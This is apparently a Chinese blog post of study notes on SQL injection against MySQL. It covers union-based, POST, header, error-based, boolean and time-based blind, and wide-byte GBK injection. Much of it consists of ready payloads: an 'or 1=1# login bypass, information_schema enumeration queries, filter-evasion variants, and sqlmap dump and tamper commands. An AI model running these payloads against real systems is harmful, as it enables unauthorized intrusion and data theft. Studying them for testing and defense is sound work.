SQL注入学习总结

SQL注入原理

本质

用户输入的数据当作SQL代码执行

条件

用户能够控制输入
原本程序要执行的代码,拼接了用户输入的数据然后进行执行

SQL注入常用语句

查询

select * from table_name;        //查看表里的所有字段
select column_name from table_name;      //查询表里的字段内容
select database()       //查询当前库名

order by

排序
select * from tb_name order by column/nmber;

Linmit

分页
select * from tb_name limit n,m;

模糊查询

like
运算符: + - * / %
% = 任意数量的任意字符
select * from tb_name where column=column;
select * from tb_name where column like column;

逻辑运算

NOT (!)
AND (&)
OR (|)

联合查询

union
select * from tb_name where column=column union select column,column;
将两个结果复合到一张表里
如果有重复合并输出结果想同时输出使用 union all

子查询

子查询就是优先执行,然后执行得到的结果作为某个查询的条件
select * from tb_name where column(select column);

函数

Sleep()
	延时函数
	休眠
	假
database()
	返回当前数据库名
User()/SYSTEM_USER()
	返回当前用户名
Version()
	返回MYSQL服务器的版本
GROUP_CONCAT(col)
	返回由属于一组的列值连接组合而成的结果 将多行数据进行整合在一行输出

注入

检查漏洞是否存在

and 1=1 and 1=2 (and -1=-1) %26%26
and sleep(10)
and 1=1 页面正常 
and 1=2  页面不正常
页面后面加',看是否报错
页面后面加',看是否报错
and 1=1 and 1=2 被拦截的可能性太高了可以尝试 and -1=-1 and -1=-2 and 1>0  or 1=1 
或者直接 or sleep(5)

显错注入-联合查询

基本流程

是否存在注入点-->猜字段数-->联合查询寻找输入点-->然后去系统自带库查询表明,字段名-->查询需要的字段

预备知识

Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

information_schema.tables 存放表名和库名的对应
information_schema.columns 存放字段名和表名的对应

Mysql注入

判断当前页面字段数
	and 1=1 order by 1,2,3,4,5……
判断显示位
	and 1=2 union select 1,2,3,4,5,6,7……
查当前数据库
	and 1=2 union select 1,2,database()
查表名字
	and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
查列名
	and 1=2 union select 1,2,column_name from information_schema.columns where table_name=表名 and table_schema=database() limit 0,1
查字段内容
	and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1
GROUP_CONCAT  将多行数据进行整合在一行输出

POST注入

POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别

POST注入高危点

登录框
查询框
各种和数据库有交互的框

万能密码

'or 1=1#		//最经典的POST注入

使用Sqlmap进行POST注入

1_Burp
Burp辅助抓包	//需要cookie
参数   -r
2_--froms
	自动搜索表单
3_--data
指定表单
--data "userid=aaa&passwd=bbbb"

Head注入

Head注入就是在Head头里修改数据写sql语句

注入方法

Brup

使用Burp抓包
测试Head头是否存在注入点
猜字段
查系统自带库查库名表明字段名
查询字段值

Updatexml()

更新xml文档的函数
语法:updatexml(目标xml文档,xml路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

盲注

盲注就是在服务器没有错误回显的时候完成的注入攻击服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”

布尔盲注

Ture or Fales 只会返回Ture或者Fales,没有之前报错的信息

时间盲注

界面返回值只有一种,Ture 无论输入任何指返回情况都会按正常的来处理,加入特定的时间函数,通过查看Web页面返回时间差来判断注入的语句是否正确
Sleep()
1’ and sleep(5) #	延迟
1 and sleep(5)#	没有延迟

盲注需要学习的函数

length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);) 
ascii() 返回字符的ascii码
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
	and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

手工盲注

猜解当前数据库名称长度:
	id=1' and (length(database()))>9#
利用ASCII码猜解当前数据库名称:
	and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s
	and (ascii(substr(database(),,1)))=101--+ 返回正常,说明数据库名称第二位是e
猜表名:
	and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e
猜字段名
	and (ascii(substr((select column_name from information_schema.columns where table_name='table_name' limit 0,1),1,1)))=102--+ 返回正常,说明表中的列名称第一位是f
猜内容
	and (ascii(substr(( select data from tb_name limit 4,1),1,1)))=122--+返回正常,说明第一位是z

Sqlmap

sqlmap -u <url> -D db_name -T tb_name --dump

宽字节注入

宽字节注入漏洞产生原因

宽字节SQL注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入
宽字节SQL注入就是PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。

magic_quotes_gpc(魔术引号开关)

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'\',来做一定的过滤

URL转码

’ ——> %27
空格 ——> %20
#符号 ——> %23
\ ——> %5C
,‘運’字是%df%5c
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1

手注

判断列数
	?id=%df%27 order by 3%23
查找信息
	?id=%df%27 and 1=2 union select 1,2,(concat_ws(char(32,58,32),user(),database(),version()))%23
查库名
	?id=%df%27 and 1=2 union select 1,2,database()%23
查表名
	?id=%df%27 and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

Sqlmap宽字节注入

sqlmap.py -u <url> --tamper unmagicquotes.py --dbs			//使用unmagicquotes.py进行宽字节绕过
posted @ 2022-07-11 01:57  eXN5  阅读(107)  评论(0)    收藏  举报